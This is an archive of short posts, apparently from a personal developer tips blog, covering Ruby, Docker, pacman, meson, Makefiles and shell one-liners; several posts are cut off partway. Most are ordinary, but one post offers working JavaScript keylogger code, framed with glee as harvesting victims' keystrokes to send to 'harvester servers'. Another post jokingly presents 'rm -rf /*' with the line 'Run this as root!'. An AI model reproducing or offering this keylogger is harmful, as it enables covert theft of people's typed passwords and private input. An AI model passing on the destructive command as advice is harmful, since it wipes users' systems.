#-------------------------------------------------------------------------------

networks:
  backend_network:
    driver: bridge
  frontend_network:
    external: true
    name: nginx-reverse-proxy-network

Add your vhost to the container environment:

services:
  web:
    environment:
      VIRTUAL_HOST=myporject.test
      VIRTUAL_PORT=3000
      # LETSENCRYPT_HOST=myporject.test
      # LETSENCRYPT_EMAIL=mail@myproject.test

Don’t forget you edit your hosts file:

grep -q '127.0.0.1 myproject.test' /etc/hosts ||
  sudo sed -i '$ a 127.0.0.1 myproject.test' /etc/hosts

Concurrency primitives in Ruby

Mon, 04 Jan 2021 23:30:24 +0000

Note: for parallelism, see Ractors

There’s 3 of them:

Thread
Mutex
Condition Variable

Thread Link to heading

first  = Thread.new { puts 'Thread 1'; sleep 1 }
second = Thread.new { puts 'Thread 2'; sleep 1 }
third  = Thread.new { puts 'Thread 3'; sleep 1 }

puts 'Main Thread'

[first, second, third].map(&:join)

Takeaways:

Blocks execute concurrently, but not in parallel.
Pause a thread for a few seconds with #sleep.
Wait for threads to finish execution with the #join method.
Execution scheduling is non deterministic, output will have a different order over multiple runs.

Mutex Link to heading

Syncronize access to a shared resource with a Mutex:

Fix docker shell history navigation

Tue, 29 Dec 2020 11:07:12 +0000

Prerequisites Link to heading

Start a docekr container:

docker run --rm -it alpine sh

Run some random commands in that shell:

ls -la
pwd
cd ~
uname -a

Problem Link to heading

Try to navigate the history with Ctrl + p and notice it is broken. When you press it the first time it does nothing, press it a second time it jumps 2 commands.

True parallelism in Ruby

Mon, 28 Dec 2020 10:13:28 +0000

Prerequisites Link to heading

You need ruby 3.0.0 or later for this, if it’s not available yet, use the docker image:

docker run --rm -it ruby:3.0.0-rc1-alpine irb

Ractor Link to heading

Here is a snippet that showcases everything you need to know in practice:

receiver = Ractor.new do
  while (result = receive) != :end
    puts result.inspect
  end
end

sender = Ractor.new(receiver) do |printer|
  printer.send({a: 1, b: 2})
  printer.send('some string')

  printer.send([1, 2, 3], move: true)
end

sender.take

receiver.send(:end)
receiver.take

Key points:

Tips and Tricks: Firefox bookmarks

Sun, 27 Dec 2020 14:14:55 +0000

Toggle Link to heading

You can show or hide the bookmarks toolbar with Ctrl + Shift + B. Uses:

Gives you more vertical space!
Allows you to hide your bookmarks when you screen shot/share your browser window.

Density Link to heading

Right click on a bookmak, choose Properties and delete the Name. Now you only have the Favicon visible on the bookmarks toolbar.

Picture in Picture on all workspaces

Wed, 23 Dec 2020 10:55:36 +0000

Prerequisites Link to heading

sudo pacman -S wmctrl

How Link to heading

Make the Firefox window Always on Top via right click on the title bar.
Open a video and activate Picture in Picture in Firefox.
Execute:

wmctrl -r Picture-in-Picture -b add,sticky,above

Now you can view the Picture in Picture window on all workspaces.

How to Use: zstandard

Tue, 22 Dec 2020 09:44:34 +0000

Install Link to heading

sudo pacman -S zstd

Prerequisites Link to heading

Create a playground:

mkdir archive-test
cd archive-test

Create some content:

mkdir content
echo content1 >> content/file1
echo content2 >> content/file2
echo content3 >> content/file3

Back up your content:

tar -cf archive1.tar content

Compress Link to heading

Create an archive, default compression -3:

Basic python setup

Mon, 21 Dec 2020 11:38:59 +0000

Install Link to heading

Since you undoubtedly use linux, python should come pre-installed, but here is the install command anyway:

sudo pacman -S python python-pip

Configure Link to heading

Add this to your ~/.bash_profile:

export PATH=~/.local/bin:$PATH

Packages Link to heading

pip install --user -U package-name

Cleanup Link to heading

When a new python verson is released, clean up the old versions from ~/.local/lib:

How to Use: meson

Sun, 20 Dec 2020 11:43:11 +0000

Install Link to heading

sudo pacman -S gcc meson ninja

Develop Link to heading

Write a sample program inside src/main.c:

#include <stdio.h>

int main(int argc, char **argv) {
  printf("Hello World!\n");

  return 0;
}

Configure Link to heading

Create a meson.build file containing:

project(
  'meson-sample',
  'c',
  version: '0.0.1'
)

executable('hello', 'src/main.c')

Set up your compile target config files:

compile/x86_64-generic.ini:

[target_machine]
system     = 'linux'
cpu_family = 'x86_64'
cpu        = 'x86'
endian     = 'little'

[binaries]
strip = 'strip'

[built-in options]
c_std  = 'c17'
c_args = '-march=x86-64 -mtune=generic'

compile/x86_64-znver1.ini:

[target_machine]
system     = 'linux'
cpu_family = 'x86_64'
cpu        = 'znver1'
endian     = 'little'

[binaries]
strip = 'strip'

[built-in options]
c_std  = 'c17'
c_args = '-march=znver1 -mtune=znver1'

Compile Link to heading

First set up your build targets:

meson setup build/x86_64-generic \
  --buildtype=release            \
  --cross-file ./compile/x86_64-generic.ini

meson setup build/x86_64-znver1 \
  --buildtype=release           \
  --cross-file ./compile/x86_64-znver1.ini

Then you can compile:

meson compile -C build/x86_64-generic
meson compile -C build/x86_64-znver1

Now your binaries are ready to run:

time ./build/x86_64-generic/hello
# Hello World!
#
# real    0m0.002s
# user    0m0.001s
# sys     0m0.001s

time ./build/x86_64-znver1/hello
# Hello World!
#
# real    0m0.002s
# user    0m0.002s
# sys     0m0.000s

Aarch64 Link to heading

Cross compile for ARM with these extra steps:

Basic golang setup

Sat, 19 Dec 2020 11:49:48 +0000

Install Link to heading

sudo pacman -S go

Configure Link to heading

Add these to your ~/.bash_profile:

export GOPATH=~/.gopath
export PATH=$GOPATH/bin:$PATH

Use Link to heading

Install packages with:

go get -u -v package-name

And modules with:

env GO111MODULE=on go get -v module-name

Bash profiling

Fri, 18 Dec 2020 12:19:25 +0000

Execute these lines in a shell, or put them at the top of your bash script:

set -x
PS4='+ $EPOCHREALTIME ($LINENO) '

Now, every time you execute a command or script, you will see a timestamp, line number, and command/script executed.

export A=1
# + 1608294433.986333 (3) export A=1
# + 1608294433.986378 (3) A=1

export B=2
# + 1608294439.100780 (4) export B=2
# + 1608294439.100807 (4) B=2

[ "$A" == "$B" ] && echo 'Equal' || echo 'Not Equal' && false
# + 1608294491.748071 (5) '[' 1 == 2 ']'
# + 1608294491.748115 (5) echo 'Not Equal'
# Not Equal
# + 1608294491.748200 (5) false

Restore canary file from backup

Thu, 17 Dec 2020 11:19:37 +0000

Why Link to heading

To ensure you can successfully restore a file from a tar backup. A sha256sum only checks the integrity of the created archive, not it’s restorability.

Prerequisites Link to heading

Create a playground:

mkdir archive-test
cd archive-test

Create some content:

mkdir content
echo content1 >> content/file1
echo content2 >> content/file2
echo content3 >> content/file3

Back up your content:

tar -cf backup1.tar content

Canary Link to heading

Generate a random id:

export CANARY_ID=$(tr -dc "a-zA-Z0-9" < /dev/urandom | head -c 32)

Save that id to a file:

echo $CANARY_ID > canary

Add it to your archive:

tar -rf backup1.tar canary

Rename your archive to contain the id:

mv backup1.tar backup1."$CANARY_ID".tar

Remove the unarchived canary file:

rm -f canary

Optionally compress/encrypt/checksum the archive with gzip, gpg, and sha256sum.

Restore Link to heading

Extract the canary id:

export RESTORE_ID=$(ls backup1.$CANARY_ID.tar | cut -d '.' -f 2)

Extract the canary file:

tar -xf backup1."$CANARY_ID".tar canary

Compare the two values:

[ "$CANARY_ID" == "$RESTORE_ID" ] && echo "Match!" || echo "Fail!" && false

Cleanup Link to heading

Don’t forget to remove your test files after playing with this:

How to Use: tree

Wed, 16 Dec 2020 11:55:31 +0000

Install Link to heading

sudo pacman -S tree

Usage Link to heading

Basic usage is like this:

tree

But that is incomplete, lacking hidden files and colors…

Proper Usage Link to heading

tree -aCI '.git'

And it looks like this:

.
├── Dockerfile
├── .dockerignore -> .gitignore
├── .editorconfig
├── .gitignore
├── README.md
└── src
    └── main.sh

You won’t see it in this snippet, but -C gives it nice easy to read colors!

Terminal 24-bit color and italics

Tue, 15 Dec 2020 09:17:01 +0000

Create a xterm-24bit.terminfo file in your home directory containing:

xterm-24bit|xterm with 24-bit direct color mode and italic text,
    use=xterm-256color,
    sitm=\E[3m,
    ritm=\E[23m,
    setb24=\E[48;2;%p1%{65536}%/%d;%p1%{256}%/%{255}%&%d;%p1%{255}%&%dm,
    setf24=\E[38;2;%p1%{65536}%/%d;%p1%{256}%/%{255}%&%d;%p1%{255}%&%dm,

Note: make sure to have a newline (LF) at the end of file otherwise it will error!

Run the following command to compile it:

tic -x ~/xterm-24bit.terminfo

Start using it by enabling it in your ~/.bash_profile:

export TERM=xterm-24bit

Fix your ssh issues with:

alias ssh="TERM=xterm ssh"

Generally speaking, it’s a good idea to set your language env variables to .UTF-8, so all characters display correctly:

export LC_ALL=en_GB.UTF-8
export LANG=en_GB.UTF-8
export LANGUAGE=en_GB.UTF-8

To use with tmux, configure it via:

set -g default-terminal "xterm-24bit"
set -g terminal-overrides ',xterm-24bit:Tc'

Now, if only this was available by default… that would be great!

Markdown code snippets inside Markdown

Mon, 14 Dec 2020 15:25:28 +0000

Wondering how to write a markdown code snippet inside a markdown document?

```sh
ls -la | grep my-file
```

You need to use four backticks:

````markdown
```sh
ls -la | grep my-file
```
````

Or tildas:

~~~markdown
```sh
ls -la | grep my-file
```
~~~

The choice is yours but be consistent…

HTML only content toggle

Sat, 12 Dec 2020 14:26:01 +0000

Basic Usage Link to heading

You write this markup:

<details>
  <summary>Click to toggle!</summary>

  <b>It works!</b>

</details>

It looks like this…

Click to toggle!

It works!

Markdown Link to heading

Like on this website…

<details>
  <summary>Click to toggle!</summary>

> Run this as `root`!
```sh
rm -rf /*
```

</details>

Click to toggle!

Run this as root!

Add a custom font to your website

Fri, 11 Dec 2020 13:20:15 +0000

Download and extract your font (I use Roboto):

#!/usr/bin/env sh

set -eux

ROBOTO_SHA=017a959dbef25cf37cb3cd407b174799b09b8b28ad72494be389ee3b563e3751
ROBOTO_NAME=Roboto
ROBOTO_ZIP="$ROBOTO_NAME".zip
ROBOTO_URL=https://fonts.google.com/download?family=Roboto
ROBOTO_TMP=./tmp

rm -rf "$ROBOTO_TMP"
mkdir -p "$ROBOTO_TMP"
wget "$ROBOTO_URL" -O "$ROBOTO_TMP"/"$ROBOTO_ZIP"
sha256sum "$ROBOTO_TMP"/"$ROBOTO_ZIP"
echo "$ROBOTO_SHA  $ROBOTO_TMP/$ROBOTO_ZIP" | sha256sum -c -
unzip "$ROBOTO_TMP"/"$ROBOTO_ZIP" -d "$ROBOTO_TMP"

cp -r "$ROBOTO_TMP"/Roboto-*.ttf webfonts/

Declare the needed font faces in your CSS:

@font-face {
  font-family: "Roboto";
  src: url("webfonts/Roboto-Regular.ttf");
}
@font-face {
  font-family: "Roboto";
  font-weight: bold;
  src: url("webfonts/Roboto-Bold.ttf");
}

Start using them:

body {
  font-family: "Roboto";
}

One Liners: Edit hosts file

Tue, 08 Dec 2020 12:46:23 +0000

How Link to heading

Add mydomain.test pointing to 127.0.0.1 to your /etc/hosts file use:

grep -q '127.0.0.1 mydomain.test' /etc/hosts ||
  sudo sed -i '$ a 127.0.0.1 mydomain.test' /etc/hosts

To remove it do:

grep -q '127.0.0.1 mydomain.test' /etc/hosts &&
  sudo sed -i '/127.0.0.1 mydomain.test/d' /etc/hosts

Comment it out with:

grep -q '127.0.0.1 mydomain.test' /etc/hosts &&
  sudo sed -i 's/127.0.0.1 mydomain.test/# &/' /etc/hosts

And uncomment it by executing:

grep -q '# 127.0.0.1 mydomain.test' /etc/hosts &&
  sudo sed -i '/# 127.0.0.1 mydomain.test/s/^# //g' /etc/hosts

Add them to your Makefile for ultimate productivity:

Javascript keylogger

Mon, 07 Dec 2020 10:11:10 +0000

Harvest the keyboard of your data cattle with this code:

(() => {
  let buffer = []
  let limit  = 1024
  let start  = Date.now()

  let timeout = null
  let delay   = 1500

  let feast = (payload) => {
    // Replace this with a POST to your harvester servers.
    console.log(payload)
  }

  let harvest = () => {
    let end     = Date.now()
    let payload = {c: buffer, s: start, e: end}

    feast(payload)

    buffer = []
    start  = Date.now()
  }

  document.addEventListener('keydown', (event) => {
    let key   = event.key || event.keyCode;
    let entry = {k: key, t: Date.now()}

    buffer.push(entry)
    if (buffer.length >= limit) { harvest() }

    clearTimeout(timeout)
    timeout = setTimeout(() => { harvest() }, delay);
  })
})()

It’s that easy! Let the feast begin!

How to Use: flameshot

Sun, 06 Dec 2020 13:26:47 +0000

Install Link to heading

sudo pacman -S flameshot

Key Bindings Link to heading

The default system screenshot key bindings are bad, so overwrite them:

Key	Description
`Print`	Take a screenshot of the entire screen.
`Ctrl + Print`	Take a screenshot of a region.

Note: The <Primary> key you see below means <Ctrl>!

Set them with:

xfconf-query --reset                 \
  --channel xfce4-keyboard-shortcuts \
  --property /commands/custom/'Print'

xfconf-query --create                 \
  --channel xfce4-keyboard-shortcuts  \
  --property /commands/custom/'Print' \
  --type string                       \
  --set 'flameshot screen -c'

xfconf-query --reset                 \
  --channel xfce4-keyboard-shortcuts \
  --property /commands/custom/'<Primary>Print'

xfconf-query --create                          \
  --channel xfce4-keyboard-shortcuts           \
  --property /commands/custom/'<Primary>Print' \
  --type string                                \
  --set 'flameshot gui'

Make sure to run these in your automation scripts so they don’t get lost.

Display key presses on screen

Sat, 05 Dec 2020 11:50:10 +0000

Useful for presenting at conferences or webinars.

Install Link to heading

sudo pacman -S screenkey

Run Link to heading

Start it with:

screenkey -s small -t 0.5 --opacity 0.3 --compr-cnt 2

Stop it by killing the process:

killall screenkey

Key Bindings Link to heading

Better have it as a system wide key binding for fast access:

Keyboard shortcut management from CLI

Fri, 04 Dec 2020 13:18:12 +0000

First remove an existing key binding with:

xfconf-query --reset                 \
  --channel xfce4-keyboard-shortcuts \
  --property /commands/custom/'<Super>f'

Then add yours:

xfconf-query --create                    \
  --channel xfce4-keyboard-shortcuts     \
  --property /commands/custom/'<Super>f' \
  --type string                          \
  --set 'exo-open --launch FileManager'

Customize these commands, and add them to any automation scripts you have!

Note: If you want to bind <Ctrl> you have to call it <Primary> for some odd reason!

The most terrifying Git command

Sun, 29 Nov 2020 16:52:21 +0000

git clean -fdx

It removes all files not tracked or staged by git. Useful for cleanup and reverting your project to “factory settings”.

But you might want to keep some directories around, like editor specific caches. You can do this:

First, add the directory you want to keep in .gitignore; it has to be the entire directory, with none of it’s contents tracked:

# Good

/.idea/
/env/
/secrets/

# Bad (Don't do this!)

/secrets/*
!/secrets/.keep

Now you need to do a git init in each of those directories. Add a shiled goal to your Makefile:

.PHONY: shield
shield:
	@git init .idea
	@git init env
	@git init secrets

Make sure to execute make shield after cloning the repository!

Remove any app from your phone

Fri, 27 Nov 2020 14:16:37 +0000

Every app can be uninstalled, you just need to do it via CLI.

Enable ‘Developer options’ on your phone
Install adb via the android-tools package:

sudo pacman -S android-tools

Plug in the USB cable between phone and computer, you will have to accept the debugging authorization on your phone.
Start the shell:

adb shell

List packages:

pm list packages

Copy the list and filter it to only contain the packages you want to remove.

Pacman cheatsheet

Sun, 22 Nov 2020 12:05:44 +0000

Install Link to heading

Update all pacakges:

sudo pacman -Syu

Install a package:

sudo pacman -S packagename

Install a package from a file:

sudo pacman -U /path/to/package

Remove Link to heading

Remove a package:

sudo pacman -Rns packagename

Remove orphan packages:

sudo pacman -Rns $(pacman -Qtdq)

Clear cache:

sudo paccache -r

Remove uninstalled packages from cache:

sudo pacman -Sc

Search Link to heading

Search for a package:

sudo pacman -Ss package

Search for a local file:

sudo pacman -Qo filename

Search for a remote file:

# First sync the file database
sudo pacman -Fy

# Then you can search
sudo pacman -F filename

Display Link to heading

View all installed pacakges:

sudo pacman -Q

View all packages explicitly installed:

sudo pacman -Qet

View package dependencies:

# As a list
pactree -u packagename

# As a tree
pactree packagename

View package reverse dependencies

pacman -Sii packagename

List orphan packages:

sudo pacman -Qtdq

Inspect package metadata:

pacman -Qi packagename

Configure Link to heading

Install keyring:

sudo pacman -Sy --noconfirm archlinux-keyring manjaro-keyring

Populate keyring:

sudo pacman-key --populate archlinux manjaro

Refresh keys:

sudo pacman-key --refresh-keys

Use the closest mirrors:

sudo pacman-mirrors --geoip

How to benchmark the speed of your SSD

Sat, 21 Nov 2020 14:43:23 +0000

Use fio to do a benchamrk from the CLI.

Install Link to heading

# Manjaro / Arch
sudo pacman -S fio

# Alpine
apk add --update fio

Usage Link to heading

Run the benchamrk with:

fio --loops=5 --size=2000m --stonewall --ioengine=libaio --direct=1 \
  --name=Seqread     --bs=1m   --rw=read                            \
  --name=Seqwrite    --bs=1m   --rw=write                           \
  --name=512Kread    --bs=512k --rw=randread                        \
  --name=512Kwrite   --bs=512k --rw=randwrite                       \
  --name=4kQD32read  --bs=4k   --rw=randread  --iodepth=32          \
  --name=4kQD32write --bs=4k   --rw=randwrite --iodepth=32          \
  --filename=./fiotest.tmp

Then you can remove the temporary benchmark file:

Execute a command repeatedly

Thu, 19 Nov 2020 18:09:07 +0000

Install Link to heading

It might not be available by default on your system so make sure you install it:

# Manjaro / Arch
sudo pacman -S procps-ng

# Alpine
apk add --update procps

Run Link to heading

Prefix all your commands with watch and they’ll be executed every 2 seconds:

watch pwd

Press CTRL + C to quit.

List hardware on your machine

Wed, 18 Nov 2020 19:33:10 +0000

Install Link to heading

sudp pacman -S lshw

Run Link to heading

To get everything just execute:

sudo lshw -sanitize

But you probably want to narrow it down, so here are some common ones:

# Storage (SSD)
sudo lshw -class disk -class storage -sanitize

# Processor
sudo lshw -class processor -sanitize

# Battery
sudo lshw -class power -sanitize

# RAM
sudo lshw -class memory -sanitize

# WiFi
sudo lshw -class network -sanitize

# Camera and Microphone
sudo lshw -class multimedia -sanitize

Get a summary and browse for yourself:

Ruby templating with ERB

Mon, 16 Nov 2020 13:40:26 +0000

ERB comes by default with ruby, you only need to require it:

require 'erb'

Create a template file ./template/steak.erb:

A large steak, <%= @how_done %>, please!
<%- 3.times do -%>
And another!
<%- end -%>

And read it into a variable:

tempalte = File.read('./template/steak.erb')

Now you can bind instance variables and pass them to the renderer:

renderer = ERB.new(template, nil, '-')

@how_done = 'medium rare'
puts renderer.result(binding)

Enable 'Developer options' on your phone

Sun, 15 Nov 2020 12:21:12 +0000

Open your phone’s Settings.
Go to About phone > Software information.
Tap 7 times in quick succession on Build number.
Unlock your phone using your passcode, fingerprint, or pattern.
Go back to the Settings main menu, you will see Developer options at the bottom.
Enable whatever you want, most likely you are after the USB debugging setting.

Don’t forget to disable Developer options when done with your work.

Basic Makefile CI steps

Sat, 14 Nov 2020 11:59:51 +0000

Create general ci and lint goals for running things with and without docker, and specific ci/* and lint/* goals for individual checks:

#-------------------------------------------------------------------------------
# CI
#-------------------------------------------------------------------------------

# Absolute path to the directory of this Makefile.
HERE = $(realpath $(dir $(realpath $(firstword $(MAKEFILE_LIST)))))

# Run a docker container with the current directory mounted.
DOCKER_HERE := docker run --rm -it -u `id -u`:`id -g` -v "$(PWD)":/here -w /here

.PHONY: ci
ci: ci/editorconfig ci/hadolint ci/yamllint

.PHONY: ci/editorconfig
ci/editorconfig:
	@$(DOCKER_HERE) sdwolfz/editorconfig-checker:latest make lint/editorconfig

.PHONY: ci/hadolint
ci/hadolint:
	@$(DOCKER_HERE) sdwolfz/hadolint:latest make lint/hadolint

.PHONY: ci/yamllint
ci/yamllint:
	@$(DOCKER_HERE) sdwolfz/yamllint:latest make lint/yamllint

#-------------------------------------------------------------------------------
# Lint

.PHONY: lint
lint: lint/editorconfig lint/hadolint lint/yamllint

.PHONY: lint/editorconfig
lint/editorconfig:
	@editorconfig-checker $$(git ls-files)

.PHONY: lint/hadolint
lint/hadolint:
	@hadolint $$(git ls-files | grep Dockerfile)

.PHONY: lint/yamllint
lint/yamllint:
	@yamllint $$(git ls-files | grep -E \.ya?ml$$)

Shell scripts as a package manager

Fri, 30 Oct 2020 21:31:42 +0000

Sometimes code is not available from package managers, just like in the stone age. Until those maintainers wake up to the basic modern programming practices of our glorious present, you can do this:

Create a scripts/sspm.sh file with the code from this repository:

https://gitlab.com/sdwolfz/sspm/-/blob/master/sspm.sh

Create a package specific file scripts/download/footool.sh and use one of those functions:

#!/usr/bin/env sh

set -ex

. ./scripts/sspm.sh

download_from_git                          \
  footool                                  \
  master                                   \
  6f6944bee215d391d7c80c529028003ba3b838da \
  https://gitlab.com/sdwolfz/footool.git

Create an equivalent build file scripts/build/footool.sh to compile it:

#!/usr/bin/env sh
set -ex

APPDIR="$PWD"/lib

cd vendor/footool

./autogen.sh
./configure \
  --prefix="$APPDIR" \
  --enable-bar=yes

make -j`nproc`
make install -j`nproc`

Create a Makefile for easy execution:

.DEFAULT_GOAL = all

# ------------------------------------------------------------------------------
# Package Management

.PHONY: all
all: download clean build

# ------------------------------------------------------------------------------
# Build

.PHONY: build
build: \
	build/footool

.PHONY: build/footool
build/footool:
	@sh scripts/build/footool.sh

# ------------------------------------------------------------------------------
# Clean

.PHONY: clean
clean: \
	clean/footool

.PHONY: clean/footool
clean/footool:
	@rm -f lib/footool

# ------------------------------------------------------------------------------
# Download

.PHONY: download
download: \
	download/footool

.PHONY: download/footool
download/footool:
	@sh scripts/download/footool.sh

Add as many other files and make goals as you want, each for every independent package you need.

Bypass screenshot security policy

Fri, 23 Oct 2020 00:12:05 +0000

Enable ‘Developer options’ on your phone
Install scrcpy:

sudo pacman -S scrcpy

Plug in your phone and open the app.
Start recording:

scrcpy -r file.mp4

Expose a web server on local network

Sat, 17 Oct 2020 20:38:17 +0000

Connect your laptop and phone to the same network (Wi-Fi is a network too).
Create a index.html file to share:

<div>Hello!</div>

Start a web server in the same directory as the file:

ruby -run -e httpd -- --bind-address=0.0.0.0 --port=9090

Find your hostname, or ip address:

hostname
# my-pc

ip addr
# ... some wall of text, one line containing something like:
# inet 192.168.0.38/24 ...

Now you can use either your hostname or ip address to access your web page from your phone:

http://my-pc:9090/index.html

http://192.168.0.38:9090/index.html

Install Termux on your phone and do the exact same to access web pages from your laptop.

How to Use: rake

Fri, 16 Oct 2020 18:15:11 +0000

Add the rake gem to your Gemfile:

gem 'rake'

Install it by running bundle install.
Create a Rakefile containing:

# frozen_string_literal: true

Rake.add_rakelib(File.join('lib', 'tasks'))

Create a hello.rake file in ./lib/tasks containing your code:

# frozen_string_literal: true

# Require your code here:
# require_relative '../../config/environment'

namespace :hello do
  task :world do
    puts 'Hello World!'
  end

  task chain: :world do
    puts 'Chain!'
  end

  task :name, [:who] do |_task, args|
    puts "Hello #{args[:who]}!"
  end
end

Run it:

bundle exec rake hello:world
# Hello World!

bundle exec rake hello:chain
# Hello World!
# Chain!

bundle exec rake hello:name[Rake]
# Hello Rake!

How to Use: guard

Thu, 15 Oct 2020 18:25:25 +0000

Add these gems to your Gemfile:

group :development do
  gem 'guard'
  gem 'guard-shell'
end

Install it by running bundle install.
Create a Guardfile containing:

# frozen_string_literal: true

clearing :on

guard :shell do
  watch(%r{(?:lib|test)/(.*)\.rb}) { |_m| `bundle exec rake test` }
end

Create the following entry in a Makefile:

.PHONY: guard
guard:
	@bundle exec guard

Run it when doing development:

make guard

Enjoy auto-executing tests and tasks!

Docker Images: basic Node setup

Wed, 14 Oct 2020 18:32:57 +0000

Use this as a template for node apps:

#-------------------------------------------------------------------------------
# Base

FROM node:16.2.0-alpine

SHELL ["/bin/ash", "-c"]

#-------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail              && \
                                      \
    echo 'Install system packages' && \
    apk add --update --no-cache \
      build-base                \
      shadow

#-------------------------------------------------------------------------------
# Workspace

RUN set -exo pipefail       && \
                               \
    echo 'Create workspace' && \
    mkdir -p /work

WORKDIR /work

#-------------------------------------------------------------------------------
# User

ARG HOST_USER_UID=1000
ARG HOST_USER_GID=1000

RUN set -exo pipefail                                  && \
                                                          \
    echo 'Create the notroot user and group from host' && \
    deluser --remove-home node                         && \
    groupadd -g $HOST_USER_GID notroot                 && \
    useradd -lm -u $HOST_USER_UID -g notroot notroot   && \
                                                          \
    echo 'Set direcotry permissions'                   && \
    chown notroot:notroot /work

#-------------------------------------------------------------------------------
# Command

CMD ["sh"]

Build it like this:

Set up a console for Ruby projects

Tue, 13 Oct 2020 22:41:29 +0000

With IRB Link to heading

Add irb to your Gemfile (yes you need to do this)!

# frozen_string_literal: true

gem 'irb'

Run bundle install of course!
Create a ./bin/console file containing:

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'rubygems'
require 'bundler/setup'
require 'irb'

require_relative '../config/environment.rb'

IRB.start

Be sure you require all your project files in config/environment.rb.
Make your file executable:

chmod +x ./bin/console

Now you can run it like any other program:

./bin/console

# irb(main):001:0>

Optional but fancy: create a Makefile with this content so you can execute make console instead.

.PHONY: console
console:
	@./bin/console

Pro Tip: use load 'path/to/file.rb' to reload file instead of restarting the shell on every edit.

With Pry Link to heading

Step 1. becomes:

Inline Bundler for single file Ruby scripts

Sun, 04 Oct 2020 13:58:08 +0000

To set up Gemfile functionality do this:

#!/usr/bin/env ruby
# frozen_string_literal: true

ENV['GEM_HOME'] = File.join(Dir.pwd, 'vendor', 'ruby')
Gem.clear_paths

require 'bundler/inline'

gemfile do
  source 'https://rubygems.org'

  gem 'minitest'
end

Now you can define and test your code in the same file:

def quick_maths(a, b)
  a + b
end

require 'minitest/autorun'

describe '#quick_maths' do
  it '1 + 1 = 2' do
    assert_equal(2, quick_maths(1, 1))
  end
end

Ruby Minitest and Simplecov starter

Wed, 30 Sep 2020 18:38:47 +0000

Add these gems to your Gemfile:

# frozen_string_literal: true

group :development, :test do
  gem 'minitest'
  gem 'rake'
  gem 'simplecov'
end

Run bundle install to install them.
Create a test/test_helper.rb file containing:

# frozen_string_literal: true

require 'simplecov'
SimpleCov.start do
  enable_coverage :branch
end

$LOAD_PATH.unshift File.expand_path('../lib', __dir__)

require 'minitest/autorun'

Add the following lines to your Rakefile:

# frozen_string_literal: true

require 'rake/testtask'

Rake::TestTask.new(:test) do |t|
  t.libs << 'test'
  t.libs << 'lib'
  t.test_files = FileList['test/**/*_test.rb']
end

Create a sample test at test/unit/trial_test.rb to try it out:

# frozen_string_literal: true

require 'test_helper'

describe 'trial' do
  it 'is worthy' do
    assert(true)
  end
end

Run the tests with bundle exec rake test

Quick way to format numbers in Ruby

Sun, 27 Sep 2020 10:58:53 +0000

number = 12345678
number.to_s.gsub(/\B(?=(...)*\b)/, ',')

# => "12,345,678"

This does not work if your number has a negative sign (-1234), neither if it has a decimal separator (1.234). I said it was a quick way, not a good way ;).

Generate a good SSH key

Mon, 03 Aug 2020 20:51:47 +0000

The proper one Link to heading

If you don’t have any keys, generate a default one:

ssh-keygen -t ed25519 -a 100 -q -N "" -f ~/.ssh/id_ed25519

And if you want it generated in the current directory do:

ssh-keygen -t ed25519 -a 100 -q -N "" -f "$PWD"/renameme

Change the name by passing the -C argument:

ssh-keygen -t ed25519 -a 100 -q -N "" -f "$PWD"/deploy_key_1 -C deploy_key_1

The outdated one Link to heading

Don’t use RSA anymore, it’s outdated and insecure, yet some servers have not updated to the newer versions above…

Docker Images: Firefox with Geckodriver

Sat, 01 Aug 2020 18:42:55 +0000

# ------------------------------------------------------------------------------
# Base

FROM alpine:3.12.1

# ------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail             && \
                                     \
    echo 'Install firefox'        && \
    apk add --update --no-cache \
      firefox

RUN set -exo pipefail                                                    && \
                                                                            \
    echo "Installing geckodriver"                                        && \
                                                                            \
    SHA=61bfc547a623d7305256611a81ecd24e6bf9dac555529ed6baeafcf8160900da && \
    VERSION=v0.28.0                                                      && \
    PACKAGE=geckodriver-$VERSION-linux64.tar.gz                          && \
    BASE=https://github.com/mozilla/geckodriver/releases/download        && \
    DOWNLOAD=$BASE/$VERSION/$PACKAGE                                     && \
                                                                            \
    wget -O "$PACKAGE" "$DOWNLOAD"                                       && \
    sha256sum "$PACKAGE"                                                 && \
    echo "$SHA  $PACKAGE" | sha256sum -c -                               && \
    tar -xzf "$PACKAGE" -C /usr/local/bin                                && \
    rm -rf "$PACKAGE"

# ------------------------------------------------------------------------------
# Command

CMD ["/bin/sh"]

One Liners: Generate random password

Tue, 28 Jul 2020 18:15:13 +0000

Basic command:

tr -dc "a-zA-Z0-9" < /dev/urandom | head -c 32

Print it to STDOUT:

echo $(tr -dc "a-zA-Z0-9" < /dev/urandom | head -c 32)

Save it in an environment variable:

export SECRET_PASSWORD=$(tr -dc "a-zA-Z0-9" < /dev/urandom | head -c 32)

Easter Eggs: Firefox

Fri, 24 Jul 2020 18:28:29 +0000

Start the console with Ctrl + Shift + K
Run:

document.designMode = 'on'

Close the console with Ctrl + Shift + I

And now you can edit any text directiny into the page.

Temporary files and directories in Ruby

Thu, 23 Jul 2020 20:13:45 +0000

File Link to heading

Create a temporary file in your current directory:

require 'tempfile'

Tempfile.create('', Dir.pwd) do |file|
  puts File.path(file)

  File.write(file, 'I am temporary!')
  puts File.read(file)
end

Directory Link to heading

For directory it’s similar, but no require needed:

Dir.mktmpdir(nil, Dir.pwd) do |dir|
  puts File.path(dir)
end

Pretty Printing in ruby

Wed, 22 Jul 2020 18:39:28 +0000

Say you have a complex object like:

state = {a: 1, b: '2', c: [3, 4, 5]}

And you want to display it nicely to standard output. Then you do:

require 'pp'

pp state
# {:a=>1, :b=>"2", :c=>[3, 4, 5]}

Amazing! But you might want to save that into a string so it can be used later, like in the ouput of your logger. For this usecase you can call .pretty_inspect on any object and pass that result around.

How to Use: inxi

Tue, 21 Jul 2020 18:11:59 +0000

Want to show somebody your hardware/OS specs? execute:

inxi -Fxxxz --no-host

And paste the output somehere they can see it.

Basic Makefile starter

Fri, 17 Jul 2020 18:14:29 +0000

Use this template as a sterter for your Makefile, making sure you intent using tabs as that’s a hard requirement of the make tool.

#-------------------------------------------------------------------------------
# Settings
#-------------------------------------------------------------------------------

# By default the `help` goal is executed.
.DEFAULT_GOAL := help

#-------------------------------------------------------------------------------
# Goals
#-------------------------------------------------------------------------------

.PHONY: help
help:
	@echo 'Usage: make [<GOAL_1>, ...] [<VARIABLE_1>=value_1, ...]'
	@echo ''
	@echo 'Examples:'
	@echo '  make'
	@echo '  make help'
	@echo ''
	@echo 'Goals:'
	@echo '  - help: Displays this help message.'
	@echo '  - here: Displays the directory where this Makefile is located.'
	@echo ''
	@echo 'Default Goal: help'
	@echo ''

